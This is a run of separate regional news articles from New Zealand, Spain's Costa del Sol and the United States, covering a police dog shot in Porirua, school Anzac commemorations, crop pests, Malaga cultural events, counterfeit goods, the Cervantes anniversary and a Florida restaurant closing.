Its with great sadness that I can advise one of our Police dogs was shot and killed today in the line of duty while executing a routine search warrant in Porirua.

We are unable at this time to identify the dog until all the necessary notifications are complete, and out of respect for his handler and family, just as we would for any other fallen colleague.

An officer was also injured while jumping from the second storey of the house as a result of the incident.

A helicopter was deployed to provide medical assistance.

He is currently in a stable condition in hospital and is receiving ongoing support from his Police colleagues.

The Commissioner of Police Mike Bush has expressed his strong support for the staff involved in todays tragic incident.

While the events of today will be the subject of a thorough criminal investigation, and also a Police practice, policy and procedure investigation, here is the information known to date:

Around 9.45am today, three police staff, accompanied by a Police dog, visited an address in Kokiri Crescent, Porirua, where they were seeking a man who was wanted to arrest.

While at the address, a man presented a firearm and the Police dog was shot and subsequently killed. Two officers immediately removed the dogs body from the house and one office jumped to safety out of a second storey window.

Police staff, including the Armed Offenders Squad, are searching for the offender, who left the residential property and was reported to be armed. Police is currently focused on finding him as soon as possible, and there is a very strong Police presence in the area, including specialist armed staff.

We are asking members of the public to avoid the area and to report any suspicious behaviour to police immediately by calling 111.

Police are looking to speak with Pita Rangi Tekira in relation to this incident.

We are asking for Mr Tekiras whanau and friends to contact police on 04 381 2000 if they know where he is.

The public should not approach this individual but should contact Police immediately on 111.

Police can confirm we also advised local day care facilities to go into lock down as a precautionary measure.

Police are currently interested in a location on Kokiri Cresent and are in the process of clearing neighbouring addresses.

Source: New Zealand Police.
Elliot Bedford, 9, holds his grandfathers bugle with respect, treasuring the old, worn, brass instrument.

Sun shining off the horn and eyes closed, Elliot blows into the instrument.

Mixed in with the off-tone notes, Elliot hits a few sweet sounds that remind this reporter of a traditional Anzac dawn service.

I think his grandfather would be proud.

He tells the assembly at ACG Tauranga that Anzac Day is a special time for his family.

My Grandad who is my Mums father, plays the bugle at Anzac Day services. Here is the bugle that he plays. It is very old.

My great great grandfather, who is my Dads great grandfather, fought in World War I. His name is Thomas Elliot and I am named after him, says Elliot.

ACG Tauranga commemorated Anzac Day early with a special assembly before the school holidays, where Year 3-4 classes presented information they had learned about Anzac day.

Elliot told the group that of the 100,000 New Zealanders that went to war, more than 18,000 died and more than 40,000 were wounded.

Isla Gregg, 8, shared these statistics in a way that the assembly could truly grasp what they meant.

That means that if our school was New Zealand then eight of us would have gone to the war, two of us would have died there and four of us would have been wounded.

Principal Shawn Hutchinson says the special Anzac Day assembly was held so Year 3-4 students could share with the school what Anzac Day means to them.

The students have been learning about Anzac Day in class, with a focus on the Gallipoli campaign, says Shawn.

Its been a really important learning exercise, and it has been quite moving to hear the students talk about what Anzac Day means to them and their families.

Some ACG Tauranga students will also represent the school at Taurangas civic memorial service on Anzac Day, laying a memorial wreath.

Elliot will give the bugle back to his grandfather in time for Anzac day, so his grandfather can play the instrument to honour the fallen.


Army worm caterpillars are on the march, and munching through newly sown pastures in the Bay of Plenty.

Bill Webb of Bill Webb Feed Solutions says paddocks turned back into pasture after maize harvest and Lucerne stands have been attacked, and hes warning other farmers to check their pasture and forage crops.

So far weve had to spry more than 100 ha to control the worms, says Bill.

All new pastures can be at risk from the caterpillars  and given the right conditions there can be a population explosion, says Bill.

AgResearch advises insecticides, applied at first sign of caterpillars and damage, remain the most effective way to control tropical armyworm.

Farmers will be hoping for cooler winter temperatures should reduce numbers, but in the meantime should consult their pesticide representatives for advice on what sprays are best to use.

The name army worm comes from the way the caterpillars march across a field in formation, eating all suitable plant material in their path.

Colours vary and caterpillars grow up to 50mm long.

During summer eggs hatch within a week and the caterpillars take about three-four weeks to fully develop. The pupal stage lasts about two weeks and the female moth begins laying eggs about four days after it emerges from the pupa.

Several generations occur during spring-autumn, depending on the average temperature; the exact number is not known.

There are two types of caterpillar which can cause this kind of crop damage; tropical armyworm (Spodoptera litura) and cosmopolitan armyworm (Mythimna separata).

Tropical armyworm is widely distributed through Asia and the Pacific regions.

Cosmopolitan armyworm is found in warmer parts of the North Island, causing sporadic damage in Northland, Waikato, Bay of Plenty, Taranaki and Manawatu region.
The 19th edition of the Malaga Film Festival began on Friday with the Inauguration Gala held at the Teatro Cervantes

Tourists pose for a photo on the Calle Larios red carpet on Thursday. :: FERNANDO GONZALEZ

Friday marked the beginning of the 19th edition of the Malaga Film Festival, a star-studded celebration of Spanish cinematography which is held in the heart of Malagas historic centre every year.

The festival, which runs from 22 April until 1 May, will offer spectators a variety of films (feature-length and documentaries), paying homage to the personalities involved in the Spanish film industry.

During the festival, movies will be screened in a number of different sites across the city including the Cine Albeniz, the Teatro Alameda and the Teatro Cervantes where a red carpet has been rolled out especially for the occasion.

This year, the festival is expected to exceed the 120,000 spectators that attended the event in the previous edition. Headline titles include Kike Maillos thriller, Toro, which is the festivals inaugural movie and is screened at 10pm tonight in the Teatro Cervantes. Meanwhile, the Teatro Echegaray will display a range of fascinating documentaries, featuring El hombre nuevo, a film about a Nicaraguan transvestite who returns home to confront his past.

The Malaga festival will also have an international flavour to it as on 26 April when the Teatro Cervantes will show Gernika, a Spanish-directed film performed in English which will commemorate the 79th anniversary of the bombing of Guernica.

As well as promoting Spanish cinema, the film spectacular looks to celebrate Malaga itself with the ambition of transforming the city into a hub of cinematic activity. Since its conception in 1998, the Malaga Film Festival has contributed to the areas cultural and economic development as the event attracts wide media attention in Spain each year.

In particular, one event which highlights the festivals goal to promote regional and local business is Cruzcampo recupera el Cine Alameda. The event, sponsored by the Andalusian beer producer, will host a celebration of classic films credited for igniting peoples love of Spanish cinema.

On Tuesday afternoon, the mayor of Malaga, Francisco de la Torre, joined by the director of Malaga Film Festival, Antonio Vigar, and Javier Galindo, brand manager of Cruzcampo, presented the event at the Centro Gastronomico Cultural Mercado close to Plaza de la Merced. During the talk, the mayor described how the festival continues to get bigger and better each year. Meanwhile, Vigar expressed how the cinematic celebration is important to everyone in Malaga as events like [these] support the local economy and create employment.

Cruzcampo recupera el Cine Alameda, which runs from the 25 to 28 April in the Teatro Alameda, will treat film fanatics to a selection of Spanish favourites from different eras. From a list of many well-known titles, Alex de la Iglesias, El dia de la bestia will be shown along with Pedro Almodovars Mujeres al borde de un ataque de nervios which features Carmen Maura and a young Antonio Banderas. In a special twist, the Alameda theatre will be decorated to resemble the era of the film that is on display.

Tapas route

In addition to this, yesterday, Cruzcampos Rutas de Tapas de Cine event kicked off and will run until 1 May. It aims to combine film and gastronomy with dishes inspired by the films of the festival.

Tickets for events during the Malaga Film Festival can be purchased from www.unientradas.es. or by calling 952 076 262.
Street vendors from the sub-Sahara in Puerto Banus with a supply of fake bags. :: JOSELE-LANZA

You only have to take a walk round Puerto Banus to see the problem for yourself. Shop owners are describing it as overwhelming and there is a sense that the illegal street vendors, who stand outside the establishments where the original items are on sale and sell fake copies, can do as they like. This is burning the brand, the firms say, because clients dont want these designer names once they know that imitations are being sold in the street and can be purchased by anyone. They are losing exclusivity and, with it, money.

Brand piracy is a lucrative business. It involves a hidden economy of global dimensions and is becoming a chronic problem on the Costa del Sol. It is a major concern for many, from owners of small businesses to heads of state and, of course, the brands themselves. In fact, part of the free trade treaty which is being negotiated between Europe and the US plans to harmonise international laws to protect industrial property rights.

Spain is one of the EU countries - Italy tops the list - that suffer most from this type of piracy. A study by the European Observatory of Infringements on Intellectual Property Rights for the handbag sector estimates that legitimate businesses are losing about 1.6 billion euros a year in the EU market, which is 12.7 per cent of sales. Of those, 132 million euros correspond to Spain, where about 14 per cent of jobs are being destroyed because of faked items. A similar study for the jewellery and watches sector places annual losses at 1.9 billion - 204 million in Spain - and job destruction at 17 per cent.

Brand piracy, in the words of Pablo Lopez, the director for major accounts at Clarke, Modet & Co, a company which specialises in brand protection, has a structure which is similar to that of drugs or arms trafficking.

The business is controlled by mafias or organised crime groups which sometimes use this income to finance other criminal activities. Even the Neapolitan Camorra has focused on the fake goods market. In 2011, as part of Operation Leatherface, the Guardia Civil detained 64 people who were part of a network which was bringing large shipments from Asia into Spain and Italy. One of its main entry ports was Malaga.

China and North African countries are the worlds biggest producers of fake designer goods which are manufactured in clandestine workshops and are smuggled into Europe in the same way, hidden in huge containers.

The mafias sell items to local distributors and they in turn sell them through the street vendors, who work like the drug carriers, for a commission, explains Lopez. If a bag is worth 10 euros, anything they get above that is theirs.

And what if the police confiscate the merchandise? They have to pay for it, he replies. That is why the street vendors dont carry many items on them. They keep them in the boot of a car parked in the vicinity and go back to it to replace the goods they have sold. The street vendors are the final link in the chain, says Lopez.

Its not just a local problem, its a general one, insists a senior Local Police officer based on the Costa del Sol. Councils cant drop their guard; they cant afford to. But it is not a question of police pressure, it is a case of finding a solution for these people because in the end we could end up sending them to commit other types of crime.

They are not violent, he says, and he describes a recent incident in Benalmadena, in which four officers were injured in a confrontation which ended with three people from the sub-Sahara being arrested, as a culmination of desperation.

The vendors, says the police chief, are mainly Senegalese, possibly because of the pull effect, as word spreads in that country.

From what they tell us, in the peak tourist season they can make between 100 and 150 euros a day, and they send some of it to their families. For them, thats a fortune, says this police officer, who has years of experience in the battle against fake goods.

They all have a specific patch, depending on the area in which they live and how long they have been there. So if the police put pressure on them there, they cant just move on to the next town, he explains.

But something has changed. The police chief wasnt referring to the carriers that Clarke, Modet & Co talks about, but to independents who acquire their own merchandise and negotiate their sales margin. This type of business has also become more sophisticated. To evade the law, they buy the articles from industrial estate warehouses and the designer logos separately and put them together afterwards, so the actual falsifying only takes place at the end of the chain. They even show us the sales receipts for what they buy, says the officer.

Police pressure

The head of the Investigation and Protection Group (GIP) of the Local Police in Malaga city, Juan Ortiz, agrees. He says that police pressure there has considerably reduced the sale of pirated brand goods in the streets. Fake items are mainly found in markets, cheap shops and warehouses on industrial estates where clandestine workshops have also been discovered.

A couple of months ago officers from the GIP discovered 45,159 handbags in a Chinese-run shop. They were fake Longchamp bags and were being sold for three euros (the business owner had bought them for one euro each). An original Longchamp bag would cost between 70 and 499 euros.

Juan Ortiz says the change in the Penal Code has resulted in more severe punishments for the sale of fake goods, because the value of the merchandise is no longer taken into account. Before, if the profit from selling a fake item was less than 400 euros, it was considered a falta [a petty offence. Now every case is treated as a delito menos grave, a [lesser crime], he explains.

The designer firms, to protect themselves, are working closely with the police and have their own inspectors who constantly visit warehouses and shops to look for fake copies. They have also realised that to reinforce their product they have to register it. In 1996 the European Union Intellectual Property Office (EUIPO, formerly the OAMI), opened a Spanish branch in Alicante, which is where the firms go to register their trademarks, designs and the features of their products to try to prevent copying and to give themselves a legal defence against the practice. The agency was set up with about 100 employees and expected to sign about 1,000 patents a year. Now it has 1,300 staff and last year it registered more than 100,000 brands in the EU.

Associations of business owners can only estimate the amount of money they lose because of the street vendors, and they prefer not to make the figures public. They are reluctant to publicise a problem which continues to grow despite attempts to stop it. The president of the Federation of Commerce in Malaga, Enrique Gil, confirms that illegal sales are increasing, especially in coastal towns, and is calling for greater control and even legal consequences for those who buy the fake goods.

A busy summer

The most striking example, and the one which best reflects the growing problem of illegal street vending, is in Puerto Banus. There, the illegal vendors move around the port with such confidence that some even offer their items outside the stores which sell the originals. There are many of them, and not just at weekends or in the peak tourist season.

We are expecting big problems this summer because ever since Easter we have noticed that there are more [vendors] than last year, says a spokesperson at one of the luxury firms in the Benabola area. This is one of the favourite spots for the street vendors. The reason is simple: it is the departure point for the boat which takes tourists on a trip along the coast every day. They crowd around the people and hustle them to buy their stuff, he says.

Shop owners we spoke to all agreed that as well as a greater police presence and more police action, people should be discouraged from buying from street vendors.

The only reason they exist is that they are able to sell their goods, they say. The authorities and consumer associations should make it clear that people are paying very high prices for very low quality products. A swimsuit which costs 190 euros in the shop will be sold in the street for 70 euros, a high price for something which is an imitation.

Its ridiculous. If you haggle you might get it for 15, but it is still abusive bearing in mind the lack of quality, says a representative of one of the firms.

In Banus, the street vendors normally walk around instead of displaying their items on a blanket on the ground. It is easier to reach more potential customers that way.

The Centre of Tourism Initiatives (CIT) in Marbella warns that they damage the image of the Marbella brand in general and Puerto Banus in particular, as a destination which is known for luxury shopping.

Its overwhelming Banus, admits the president of the CIT, Juan Jose Gonzalez. People dont expect to see illegal vendors walking around a top quality tourist destination like Marbella. Something has to be done, and quickly. We have a great deal to lose.

For the president of the Business Association of Banus, Giuseppe Russo, the law needs to be more severe. The hands of the police and courts are tied; they can do no more. There is a legal vacuum and something needs to be done while that is being changed, he insists. He also warns that this type of illegal business is growing rapidly. Its like a virus which is spreading and affecting more and more brands. They copy everything, he says. Even tobacco, apparently: they mix it with excrement.
Pollocks Mural (1943) being hung in Malaga. :: MUSEO PICASSO MALAGA

When I am in my painting, Im not aware of what Im doing. It is only after a sort of getting acquainted period that I see what I have been about. I have no fear of making changes, destroying the image, etc., because the painting has a life of its own. I try to let it come through. It is only when I lose contact with the painting that the result is a mess. Otherwise there is pure harmony, an easy give and take, and the painting turns out well.

These were Jackson Pollocks words in My painting, a text that appeared in the edition of Possibilities published in the winter of 1947. It was part of a feature about the trend which marked art in the mid-20th century. Many experts claim that Pollock started that trend with his Mural (1943), which can now be seen at the Picasso Museum in Malaga, the third stop on a European tour that has already taken it to Venice and Berlin.

The pioneering spirit of Mural is also reflected by Will Gompertz in his book What are you looking at? 150 years of modern art in the blink of an eye, in which he recalls the frenetic night during which Pollock did this painting, which is six metres wide by almost two and a half tall.

By the next day, he had finished it and, without knowing it, had started a new artistic movement, said Gompertz about the work he describes as painting in action and the technique that would help to make Pollock a legendary figure: dripping, which consists of letting the paint fall upon the canvas in an apparently random fashion.

The life, work and legend of Jackson Pollock combine to make him an icon. He was a young artist, with a tormented life and a tragic death (he was killed in a traffic accident at the age of 44, after a bout of drinking). A son of the wild southern lands that captivated Peggy Guggenheim and the most select members of the New York cultural scene, the first American to feature in the History of Art... everything seems to collude to lift Pollock onto a pedestal of contemporary popular culture.

It is very difficult to separate the biography from the history. Pollock is now indiscernible from a southern artist, one of the first to paint on the ground, recreating the dances of the American Indians. For many he represents the paradigm of a wild artist, with no past, the icon of a continent that had very little history, who died young. In the end, he became legendary as an artist who would not allow himself to be assimilated into the usual system of art, said the Exhibitions Director of the Juan March Foundation, Manuel Fontan.

In the imagination of popular culture, Pollock is seen as a hero of that pioneering generation, said art critic and editor Fernando Huici.

Pollock in Malaga

The mural takes centre stage in the exhibition on abstract expressionism that opened yesterday in the Picasso Museum. The painting is one of 41 works in Jackson Pollocks Mural. Energy Made Visible and rubs shoulders with other iconic 20th century artists including Andy Warhol, Roberto Matta, Antonio Saura and David Smith.

Jackson Pollocks works are on show at the end of the exhibition, constructed almost as a maze that takes you on a journey through photos, oil paintings and sculptures before you face the giant mural at the end.

The exhibition looks at the links between Pollock and Picasso. The American artist saw Guernica for the first time in 1939 and his subsequent works show clear influence from Picasso.

David Anfam, curator of the exhibition, explained how Pollock was inspired by the artist from Malaga. Theres no doubt that Guernica affected Pollock because it was in fact a portable mural and Mural reflects the artists fascination with Picasso. Its also violent and represented the destruction of the Second World War, said Anfam.

Pollock was continually frustrated when he thought he had discovered an unexplored form of art only to discover that Picasso had already been there. For Pollock, Picasso was the one to beat, said Anfam.

However, while Picasso moved on to explore myriad forms of art, Pollock contented himself with painting energy and movement.
Mayor of Malaga, Francisco de la Torre, and CEO James Boyd. :: SUR

British claims management firm, Stanton Fisher, officially opened its new Malaga office on Monday, the first step in its expansion outside the UK.

The mayor of Malaga, Francisco de la Torre, attended the opening along with city councillor responsible for the Area of Economic Recovery, Maria del Mar Martin Rojo. De la Torre accompanied CEO James Boyd, who had flown in specially from the companys head office in Manchester along with chairman Brady Collins, to cut the ribbon outside the 600-square-metre office in the Eurocomsur building.

The Malaga office is fundamental in our expansion, said Boyd. We cant wait to keep on growing and developing more, he added.

The mayor, addressing those present at the reception in English, said: Malaga city council supports initiatives like this that help to grow competitiveness and employment. We wish Stanton Fisher the best of luck.

Over the last month 19 people have been employed in Malaga although the new office has capacity for up to 100 members of staff and the option to expand even further within the same building.

The company hopes the operation in Malaga will help expand the range of services they offer. The opportunities are endless and with our new office in Malaga, we plan to recruit regularly to support our growth as we cement ourselves in the wider European flight delay compensation market, said the companys project manager, Tom Duffield.
Around 300 people attended the Triple A Open Day while more information of the police investigation was revealed

Volunteers and visitors at the Open Day at Triple A last weekend. :: JOSELE-LANZA

Last weekends Open Day was judged a great success by Triple A. The event had been organised before the Guardia Civil raid and arrests that brought the animals charity to the forefront of local news the week before.

The Open Day took its usual format - animal crafts, a second-hand clothes market and vegan menus. All with the objective of raising funds for the charity.

Many of the 300 who went along to the Open Day did so to show their support for and trust in Triple A. Those who attended were unanimous in their defence of the association. I know the hours that the staff and volunteers work, said Joanna Dunbar, and its all to improve the life of these animals. She claimed that she had taken several strays to the charity and has known them for years.

Meanwhile, the Guardia Civil, who searched the charitys shelter and arrested four people a week last Monday has revealed the nature of the offences that 17 staff and volunteers are suspected of committing.

Police sources allege that the animal charity put down healthy animals despite their zero euthanasia policy. For the police, this is misleading for those who give money to the charity.

Furthermore, police claim that the paperwork seized during the search shows that the charity funds were diverted to individuals. The four people arrested and later released are accused of animal mistreatment, acting outside their professional capacity, misappropriation and belonging to a criminal organisation.

The Guardia Civil explained that the investigations that began in November under the code-name Operation Tribet have shown that animals were put down with no anaesthetic and in some cases, using Eutanax with the wrong dosage, causing suffering for the animal.

According to police sources, animals were sent from Spain without respecting the legal timeframes and in some cases, before owners could reclaim their pets.

Police also discovered that several members of staff had no contracts and were not signed up for social security payments.
This weekend celebrates 400 years since the death not only of William Shakespeare, but also Miguel de Cervantes, the Don Quixote author who led an eventful life and overcame his tribulations without bitterness

Miguel de Cervantes. :: R.C.

Miguel de Cervantes led an eventful life. A man of weapons and letters, he was a born survivor. He was kidnapped, spent time in prison and, like Alonso Quijano, his nobility proved to be a fantasy. But the difficulties he faced did not make him a renegade. Jordi Gracia, a professor at the University of Barcelona and an essayist, believes the merit of the author of El Quijote lies in the way he combines irony and demystifies certain dogmas. Clean, pure and unpolluted truths disappear from the horizon of a 60-year-old man who is well aware that nearly everything has two faces; but this does not mean hes a cynic or a radical relativist.

Cervantes reviews his convictions and then makes them rational, says Gracia, who has just published a book called Miguel de Cervantes. La conquista de la ironia.

Born in Alcala de Henares in 1547, Cervantes was a soldier by vocation and conviction at Lepanto, attempted to escape from Algiers on five occasions after being captured by Berber pirates, worked as a supplies commissary in order to comandeer wheat and oil which the Navy needed, and was a tax inspector for ten seemingly interminable years.

These are just some of the landmarks in the life of a Cervantes who was desperate for the economic security which a job in the Indies would provide. The sun in Andalucia was cruel and his work as a supplies commissary meant frequent and exhausting arguments with municipal councils. However, the time spent in Andalucia proved fruitful because he met different types of people, who he went on to portray masterfully in his books.

He is interested in social spheres which do not belong to literature: gangsters, thieves, prostitutes, prisoners and hooligans; it is they who bring the joy to Cervantes writing in El Quijote and also, of course in the Novelas ejemplares. He recreates these characters sympathetically, without trying to judge them, explains Gracia.

As a prisoner in Algiers, Cervantes tried to escape five times. So why was he not severely punished or even assassinated?

Some believe the hypothesis that the writer slept with a Turkish leader in order to survive, but this expert believes that idea is mistaken. Who was going to go to bed with a man in his thirties who had a maimed and ugly hand? They could do that with boys and young men, who had been kidnapped for that purpose, he points out.

Jordi Gracia believes there are more plausible reasons to explain why Cervantes wasnt killed like so many others. He argues that Cervantes was worth more alive than dead, because his captors could get a 500 ducat ransom for him. Killing him would have been a very bad business decision, he says.

Although Cervantes was not a man of means, the pirates thought he was a gentleman. When he was captured, he was carrying several letters of recommendation from two noble figures: Don Juan de Austria and the Duke of Sesa and Terranova, vice-roy of Sicily. This made the Berbers think he was from a wealthy family.

However, we also have to bear in mind the situation of the author of El Quijote among the other hostages. Cervantes had won the respect of the real gentlemen. Killing him could have caused a revolt among the other captives, because they would consider it to be a monumental injustice.

Despite the cool reception given to El Quijote by the upper classes, the book became a best seller of its time. In just one year, three editions were published, as well as two clandestine editions.

Redeeming ideals

Was Cervantes a rough character? Gracia believes he was pugnacious and argumentative. In 1569, when he was 20, he injured a master builder with a sword and the authorities issued an order for him to be detained. Nobody knows exactly what happened then, but he probably fled to Italy to enrol in a military unit. It was quite normal for the sons of families with few resources to become soldiers.

As a man of his time and servant of Felipe II, Cervantes was convinced of the wiles of the Turkish infidel and Moorish dog but this attitude became tempered with age and maturity. I see that reality has nothing to do with redeeming ideals, nor the Empire in capital letters, he said, later.

When he was 37 he married Catalina de Salazar, a 19-year-old girl whose father had died and left her several properties in Esquivias, a small village in Toledo. Cervantes undoubtedly married in order to improve his social position. Months earlier, he had had a daughter, Isabel, probably from a sexual encounter with a barmaid.

A few months after the baby was born, he married Catalina, who he had only recently met. It was normal at that time for gentlemen, when they were about 40, to marry girls aged 15, 16 or 17. Cervantes was just another of them, explains Gracia.

______________________________________________________

THE WRITER'S LACK OF MEMORY WHICH IS PERPETRATING A MYTH

Villanueva de los Infantes, Argamasilla de Alba and Mota del Cuervo all claim to be the place in La Mancha

:: ALVARO SOTO

EL TABOSO. Imagine for a moment that the first sentence in the greatest book ever had been this: In a place in La Mancha called...

And then think that Cervantes might have written Argamasilla de Alba. Or Villanueva de los Infantes. Or Mota del Cuervo. If that had happened, one of the biggest enigmas in the history of literature would have been solved, but at the same time, El Quijote would have lost some of its magic.

Innumerable studies have argued that a particular village is the place in La Mancha, or that it is not. However, it now looks as if three municipalities could be worthy of this honour. Nor would this be a symbolic honour only. No: this honour, in a region whose main industry, thanks to tourism, is Quijote, would bring with it millions of euros.

The three villages which aspire to literary glory are those mentioned above: Villanueva de los Infantes, Argamasilla de Alba y Mota del Cuervo.

In Villanueva de los Infantes (Ciudad Real), visitors are greeted by a sign which expresses local peoples willingness to put an end to all doubts: El lugar de la Mancha, it reads, meaning The place in La Mancha. Nor can there be any doubt about the devotion to Cervantes in this municipality, where in the lovely main square there are sculptures showing Don Quijote shouting for Sancho, and Rocinante and Sanchos donkey (poor animal, it had no name) accompanying them.

The village, which curiously is the burial place of Quevedo, a rival to Cervantes in that era, proudly refers to the conclusions of a study which was carried out by a multidisciplinary team (geography, history, philology, sociology, mathematics and information sciences) at Complutense university.

In total, 20 experts (20!) took part in a trip to the villages on the Quijote Route to find the place whose name Cervantes did not want to remember. Well, this study, which took a decade to complete, concluded that somewhere in La Mancha was Villanueva de los Infantes.

Our look at the candidates takes us on to Argamasilla de Alba (also in Ciudad Real), which feels sufficiently vindicated by its history and culture to declare itself the place in La Mancha. Here, exactly as in Villanueva de los Infantes, a sign stands at the entrance to the village. Azorin referred to it in La ruta del Quijote in 1905. And people here also want to back up their claim, pointing out that last year, Spanish Language academics held what was only their second meeting outside the Royal Academy in 300 years there, in tribute to the academics of Argamasilla, which in El Quijote used to meet in the apothecarys shop in the village and who Cervantes mocked for their literary pretensions.

But in addition to the battle between Villanueva de los Infantes and Argamasilla de Alba, there is a third contender. Last year, on the occasion of the 400th anniversary of the publication of the second part of El Quijote, a researcher from Cuenca, Jose Manuel Gonzalez Mujeriego, published Lo que Cervantes callo, a book which upholds the theory that Mota del Cuervo (Cuenca) is the place.

According to this work, Cervantes elder sister had a relationship with the nephew of the mayor of Mota, Hernando de Ovando, and gave birth to a daughter. This nephew recognised the child, but would not marry her mother.

The Cervantes family did not take this well, according to Gonzalez Mujeriego, and that is why the author did not wish to remember the name of the village.

______________________________________________________

THE FIASCO OF THE SEARCH FOR CERVANTES' BONES

:: M. LORENCI

MADRID. Lengthy investigation at a cost of 124,000 euros has only served to confirm what was known 150 years ago. The bones of Miguel de Cervantes Saavedra are probably where they were thought to lie 400 years ago: at the San Ildefonso convent of the Trinitarias Descalzas in Madrid, as a study by the Royal Academy claimed in 1870. They are, however, crushed and mixed with those of a handful of other people, in the crypt of the convent church in the heart of Las Letras district.

The search was pure political marketing for the glory of Ana Botella, former mayor of Madrid, rather than that of Cervantes, says Jordi Gracia, who has written a biography of the writer. Led by Fernando de Prado, it began in January 2014. It caused a global media storm which had no happy ending and was manipulated by certain politicians who only wanted to appear in the photo, Gracia says.

We know that the bones are there, where they always were, but they are mixed with others, including those of his wife, Catalina de Salazar, says De Prado. The bones of six men, five women and six children were found. They were amalgamated in 1730, a century after the writers death. Nothing more certain than that can be ascertained and, for now, DNA testing is impossible.

From January 2015, forensic expert Francisco Etxeberria headed a team of 36 experts, after Luis Avials geo-radars located the atomised bones. The discovery of a coffin with the initials MC was a false alarm. It was later than 1616, from the 19th century, and there was no resemblence to the toothless man in his sixties, with a withered left arm as the writer portrayed himself in Novelas Ejemplares, saying that he had an aquiline face, smooth and untrammeled forehead, hooked nose, silver beard which 20 years ago was gold, small mouth, teeth neither small nor large because he has but six and they are in bad condition.
Andalucias II Plan for Gender Equality seeks to distinguish both sexes, rather than using the masculine plural for everyone

Norms of the Spanish language are to be changed in classrooms across Andalucia. The II Plan for Gender Equality of Education recently approved measures, reinforced by the Junta de Andalucia, to fight violence against women and sexist attitudes through the use of language.

The head of Education at the Andalusian government, Adelaida de la Calle, said recently that the plan has achieved consensus with the majority of representatives.

Among its policies, the plan includes advocacy, training and involvement of the educational community. One of the measures is to promote and encourage inclusive and equitable school practice, using inclusive and non-sexist language in oral, written and digital environments in schools, stated a school inspector.

The manual (prepared by the Andalusian Institute for Women), Nonsexist Administrative Language, recommends avoiding the widespread use of the masculine forms when attempting to refer to people of both sexes. In other words, instead of saying chicos, profesores, alumnos (children, teachers, students), a teacher should use chicos y chicas (boys and girls), alumnos y alumnas and profesores y profesoras, recognising both genders.

However, since it was announced, it has received widespread criticism with many opponents calling for De la Calle to explain the initiative before parliament.

The difficulty of the rule, according to linguists, lies in the concept of sexist language and what is meant by sexism. According to the guidelines, linguistic sexism signifies a discriminatory use of language. Sexism is not in the language itself but in how we use it; it reflects the male-centered society in which we live, in which females are often discriminated against, it says.

Member of parliament, Mari Carmen Perez (IU), continued along these lines when opposing the proposal, saying that equality is about much more than [changing] the language. She added: We shouldnt be making life more difficult for teachers.

When asked by reporters, the Real Academia Espanola (RAE), the official body that governs the use of the Spanish language, indicated that its lack of backing of the plan is due the guidelines that violates certain grammatical and lexical aspects.

However, De la Calle said that the plan is at a stage where considerations can still be taken into account in order to make necessary improvements.

According to the regional Education head, it has been designed as part of a broad strategic plan; some of the issues that have been pointed out are of significant value.

Quite often plans are made, but relevant issues are not considered. Ultimately, objectives may not be fulfilled, but in this case, the plan has been created with necessary thoroughness, she added.

Sources from the regional Department of Education recognise that the implementation of the rules will be a cultural process and therefore needs time and perseverance in order to change habits and dominant values. Meanwhile, De la Calle maintains that these measures do not contradict the RAEs rules.
Wythe County rolled out a red carpet salute on Friday for U.S. military veterans on their way to Washington, D.C., to see the memorials erected in their honor. Part of the Honor Flight Network, 17 veterans from World War II, Korea and Vietnam stopped by the Wythe County Sheriffs Office on Friday morning where they were greeted by Sheriff Keith Dunagan and a host of police officers and guests. Spiller Elementary School students also lined Wythevilles Main Street to cheer the veterans as they left town.
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JUAN DALE BROWN/TREASURE COAST NEWSPAPERS Out of Bounds restaurant in Fort Pierce has unique decor.

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By Anthony Westbury of TCPalm

The dark walls, low lighting and intimate atmosphere have made Out of Bounds restaurant the perfect spot for power lunches and business meetings for more than three decades.

The excellent cooked-to-order dishes prepared in a fusion of French and steakhouse cuisine and the chef's funky artwork on the walls didn't hurt either.

Yet the days are numbered for this iconic eating place on U.S. 1, north of Edwards Road in Fort Pierce.

After more than a year of wrestling with money problems, owner Lance Brandenburg has decided to close the restaurant. The final dinners will be served April 21.

I've been there a few times for dinner, but I'll always remember Out of Bounds first and foremost as a lunch place.

And so will many of St. Lucie's movers and shakers, who've used the place for intimate business meetings for years. Somehow, Brandenburg and his staff crafted a feeling of privacy among most of the 95 seats, even though lunchtime regulars all seemed to know each other.

"You always felt you were the only one in the room ? even though you knew everyone in the room was there, too," St. Lucie County Commissioner Chris Craft said when I broke the news that the restaurant would be closing.

"I'm shocked. It's quaint, has a more intimate setting and the food's great," Craft said. "I guess in the future I'll have to go downtown, but you don't have the same privacy level anywhere else I can think of."

"That's too bad," Fort Pierce attorney Dick Neill agreed about the closing. "It's a nice place for business lunches, a good place for carrying on a private conversation, or you feel that way. My brother (David Neill, tomato farmer) and I take everybody who comes into town there for lunch."

Out of Bounds still does a decent business but the recession, and the collapse of the construction business in particular, eventually sank the place, Brandenburg said.

"Since 2007, we've lost 45 percent of our business" compared to the heady days of 2004 and 2005 after the hurricanes "when there was lots of money around," Brandenburg recalled. "We've had record numbers this year for Valentine's Day and New Year's Eve, but the business is still shrinking since 2011."

Back in the good old boom days bankers, lawyers, politicians and government officials flocked to the restaurant to hatch who knows what deals in dimly lit corners.

Riverside Bank had its operations center close by and the loss of several hundred jobs there when the bank was taken over by TD Bank in 2010 really hurt, Brandenburg said.

Brandenburg bought the building as his retirement nest egg in 1994, after being downtown on Atlantic Avenue since the early 1980s. He said he took on a lot of debt when the numbers started slipping and his bank has foreclosed on the property.

Brandenburg can't say enough good things about the talent and loyalty of his chef and managers, who have been with him for many years.

Charlene James the day manager, for instance, has been there on and off for 17 years; so has night manager Lisa Finn.

"They cleaned, painted and fixed up the place after the storms in 2004, " Brandenburg said of his 25-strong staff. "We couldn't have done any of it without them. They are the most loyal and dedicated people I've ever met."

Front of house staff have been breaking the bad news to regular customers this week. The employees were officially notified Saturday. "I cried," James admitted.

Brandenburg isn't looking to get out of the restaurant trade, even though he said it's getting harder to compete with the big chains' ad dollars. He'd like to find a smaller place (perhaps in downtown Fort Pierce), something similar to Brandy's on the Point in Vero Beach, which he operated between 2003 and 2007.

"That had 13 tables, sat around 55 people, and only needed one server. It was the perfect size."

In the meantime, the quirky mix of antiques, original paintings by Brandenburg and sporting goods are steadily disappearing from the restaurant. The life-size mannequin of Humphrey Bogart in a trench coat that used to greet diners is already in storage, but the two suits of armor are still there, as is the gleaming copper and brass antique cappuccino machine.

Out of Bounds' eclectic food and atmosphere will be much missed, especially by power-lunch regulars like Fort Pierce Police Chief Sean Baldwin.

"It's a convenient place for me to meet people. They have good service and great food. Any time I go there I see four or five people I need to talk with."

